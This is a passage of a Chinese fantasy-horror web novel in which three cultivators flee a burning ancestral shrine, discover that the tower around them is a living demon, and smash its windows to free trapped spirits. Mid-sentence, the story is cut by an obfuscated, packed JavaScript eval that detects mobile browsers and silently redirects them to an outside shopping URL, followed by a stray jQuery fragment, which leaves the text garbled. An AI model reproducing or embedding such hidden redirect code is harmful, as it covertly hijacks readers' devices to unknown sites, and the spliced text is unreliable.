谢氏宗祠燃烧于熊熊大火之中,桑木的牌位在火光中噼啵作响,冲天的火光中,一名女子的身影扭曲如烟,在一点点融化消失。
孟夏三人终于回到了现实中的地下室,她们几乎是一瞬间认清了形势,这不是那枚蜡烛燃烧的火焰,这是人鱼烛!
火光中人鱼烛扭曲尖锐的声音传出:“我只有一个办法了,你们被困死了。我再不燃烧自己,就要全军覆没啦!你们看,我的办法是对的,烧掉这个祠堂,你们就能出来了,那就拜托你们和五仙子一定要帮我杀了这里的魔物!”
孟夏恍惚地想上前去救她,人鱼烛却拒绝了:“别来,已经来不及了,我早已成幻影了,若非如此你们也出不来,如今我不过撑着一口气和你们说话。
我还有最后一个请求,若是陵女还没死的话,你们见到了她,一定要和她说我一直在等她,我只是实在等不下去了。明明说好了墓中孤苦,要相伴一生的,是她失约了,为了一个杂碎···”
人鱼烛说着说着,倒像是生起气来,口中骂道:“一个杂碎,一个魔物,她一个仙子,信什么不好,信一个杂碎···咳咳···咳,我要把那个杂碎切片做成魔脍丢进东海喂鱼···”
之前一直温和好脾气的人鱼烛,到死前却开始骂骂咧咧起来,伴随着有一句没一句的骂声,幻影彻底消失了,整个祠堂都是青色和黑色的烟,“万古流芳”的牌匾和刻着谢家人名的牌位已被烧了大半,牌位上的名字一点点被焦灼的黑色吞噬,与此同时,三人感到自身的修为也在一点点回来。
陆微凌云各自一手收回落在火光中的金鳞和二白,冲天大火、滚滚浓烟,那武器握在手上却没有滚烫烧灼之感,看来人鱼烛有特意避开火光对二人武器造成的伤害。
三人没来得及惋惜人鱼烛的死亡,因为此时整个祠堂,不,整座塔开始地动山摇。
陆微急声道:“先出祠堂,这里要塌了!”
三人手牵着手,相互掺连,迎着火光往出口奔去,在即将踏入离开地下室的门时,孟夏回头看了一眼。却见牌位之上轮番交替着狰狞的老人面,他们似乎在呼唤咆哮,又似乎在挣扎,面孔布满苍老腐臭的恶意,但很快又被滚滚浓烟吞噬。
孟夏一瞬间想到了那是什么,那是这些牌位底下的灵,压制神仙的封印靠的是谢氏一门的愿力,或者说咒力!几百个死人的愿力,那比生人的愿力还要强大浓厚数倍,等于是把生生世世都献祭了,就为了成全一个信念。看孟夏自己就知道了,若非有不灭的心事和愿力,她很早就投胎或是魂飞魄散了。
为什么?谢氏一族为什么心甘情愿地献祭灵魂,为什么要成就这魔塔的封印?
在一切焚毁坍塌之前,三人逃出了地下室,一楼暂时还没有被火焰波及,一时间也没有看到刚刚那些圣女,此处似乎暂时是安全的。孟夏身体又累又烫,胸中有未解的心事,不得不扶着柱子喘息,片刻后她心绪平复了些,可那喘息声仍在继续。
孟夏无奈:“别学我了,不信你们到现在还在喘。”
“什么?不是你在喘嘛?”凌云陆微疑惑。
说话声响的时候,那喘息声仍在继续。
孟夏心脏陡地一凛,密室中那种古怪的、找不出原因的诡异又攀爬上来了。她猛地回头,凌云陆微坐在原地,果然没有什么大幅度的呼吸。
一瞬间,她在这座塔中感受到的所有不合理都冒出来了,她猛地一抬头,看向他们从塔外进来时的窗口处,果然,,,
孟夏声音颤抖着问陆崔:“之前在被祠堂的蜡烛袭击之后,你们都去哪儿了,发生了什么?”
陆微见她神情严肃,知道大概有什么了不得的事,便认真答道:“我好像在一座密室里呆了很久,为了找出那密室的古怪,我和凌云在密室中不断翻找,我们貌似翻出了什么,但我们被人鱼烛救出来之后,我就想不起来了。”
孟夏:“那我呢,我在哪儿?”
陆微:“你?你似乎一直在睡,偶尔会醒来,然后又会睡过去。”
孟夏头一阵疼:“这么说,我在密室里遇到的你们不是幻觉,那都是真的?可怎么可能呢,小五和我们说过呀,幻境存在自身意向的折射,我们不可能掉进同一个幻境的。”
陆微和凌云的脸色也都变得苍白:“如果,我们掉进的不是幻境呢?”
孟夏:“不是幻境,是障眼法?”
凌云摇头:“没有那么毫无破绽的障眼法,如果是障眼法,我们当时的实际情况应该是处于蜡烛的袭击和人鱼烛的大火中,我们不会一点都感应不到的。”
终于,孟夏迟疑着道:“那难道是真的?可这世上还有除了小五之外,凭空造出一个空间、篡改时间的人吗?”
陆微和凌云都没说话,显然也是对这一结论产生了困惑和质疑。
“如果,,,”孟夏犹豫着,说出了她最后一个猜测,“不是什么空间时间的变化,它能改变的只是这个塔呢?”
陆微凌云都看着她,示意她继续说下去。
“我觉得,,,这座塔是活的,它会自己动!我们来的时候凌云在窗口处破了一个一人可过的洞,我们在逃脱圣女追捕时候我想逃出塔外,所以往那里看了一眼,却没有找到那个洞。我当时以为是情况太紧急我找错了窗口,但我现在看,不是我找错了,是那个窗口自己闭合了。”
陆微和凌云这个时候也想起来他们在密室里到底发生了什么。当时他们为了出去,转着圈地研究那个密室。结局是没有找到任何出口,但他们看到了一些矛盾之处。比如片刻前他们观察到一块破碎墙皮,片刻后它就消失了;比如他们在角落里看到一块血红的碎片,意识混乱地大叫着是吃的,片刻后那碎片就不见了。
对,那个密室,不,这座塔都是活的,是有意识的。
三人此时都站了起来,他们环顾了一圈四周,这个时候,仿佛知道是被拆穿了,塔也不再伪装,沉重的呼吸声此起彼伏,不远处的窗户慢慢翕张着,仿佛人呼吸时微动的鼻腔、嘴唇、肚子。
孟夏牙齿微微战栗:“我还有最后一个想法,人鱼烛一直说它找不到伪作正神的魔物,而我们在这里又感受到了大量魔息,有没有可能魔物没有藏在任何地方,它就是这座塔!”
魔物就是这座塔!
随着孟夏话音落地,整座塔的空间骤然压缩,几根三人方能合抱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696111|205691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的承重柱向他们砸来。三人在逼仄颠簸的空间里几番踉跄,又迅速被另一个人扶住。
陆微风越大越浪,此时竟忍不住笑道:“怪不得这塔一直黑乎乎的,这么看来我们在这魔物的肚子里?那我们现在一脚踢下去,踢的会是它心肝脾肺肾的哪一个啊?”
凌云:“要不你试试?”
“试试就试试!”
陆微提起二白挽了个剑花,随即二白翻腾着刮向四根柱子,落下刺耳的金属和沉木撞击的声音。陆微足间一点,一脚横踹在一根柱子上,这一脚足有上千公斤的力,如果真是个柱子此时也要在楼层间微撼,何况它并非真的柱子。整个柱子骤然缩了一下,但陆微也被柱子回弹的动势退后了几步,正好被弹回的二白抵住。
陆微斜倚着二白,一个翻身,身轻如燕,脚尖旋转着划出,足尖过处,柱子被划出一道长痕,木屑落了一地,四根柱子向前挤压的动势停了。
与此同时,一枚金光闪闪的耀眼金枪飞刺出去,“砰”一声,一面窗户碎了。
外面的光大面积灌进来,整座塔发出“呼哧呼哧”的声音,像破旧的风箱。
在三人还没来得及从窗口处溜出去时,眼前突然刷过一道道蓝影,刚刚不知道躲哪儿去的“圣女”都跑出来了,拥挤着向窗口奔去。
这一幕实在是有些骇人的壮观,那蓝色的织物有的已经破旧得泛出土色,但强烈的“想活下去”的愿望一瞬间淹没了所有的怨和旧。
孟夏眨着眼睛,没掩住震惊:“我知道那些牙齿和头发为什么会死掉了,不是自燃,它们想向这塔报仇,想逃出这座塔活下去,或许是缠着一根柱子,或者是啃咬木屑,但都没有成功。于是它们最后一点碎片式的生命力也被这塔给抹杀了。”
陆微一笑:“既然她们想逃出去,那我们不如助这些‘圣女’一臂之力。”
凌云古怪地看着他:“怎么助?”
陆微从凌云手上拿过收回来的金鳞:“借枪一用。”说着一枪飞出,又一扇窗户被打碎,汩汩的风灌进来,又有无数的破旧蓝杉逃出去。
凌云在身后骂道:“你!就知道拿我的金鳞做人情!”随即不甘示弱地抢了陆微的二白,一剑飞了出去,却远没有金鳞甩起来那么趁手。
陆微笑道:“二白先借你啦,这种破窗的强盗伎俩二白哪有金鳞好用!”
“我就说你干嘛抢我的金鳞,等下,,,”凌云反应过来,“你说谁强盗呢?”
很显然,陆微和凌云都是强盗,因为现在只剩下孟夏在用葫芦铛撑着,不让掉下来的木梁砸到他们身上:“奶奶个腿,你俩逞英雄,就我跑杂物,出去再找你俩算账!”
不过,“圣女”们逃得很快,所以孟夏并不需要支撑多久,在一个横梁碎木真的要砸下来之前,孟夏被陆微一把拎住后脖颈的衣服,飞出去了。
此时天还没亮,但已近凌晨,残夜中是流动的蓝色生命,将破晓时朦胧的淡青色天空映得如同白昼。“圣女”破碎的灵魂未必能得到延续,茫茫天地间她们很快就消散。但这一刻,它们是自由的,外面没有深重的魔息、没有腥臭的脏器,空气如此干净,她们已经太久没有感受过了。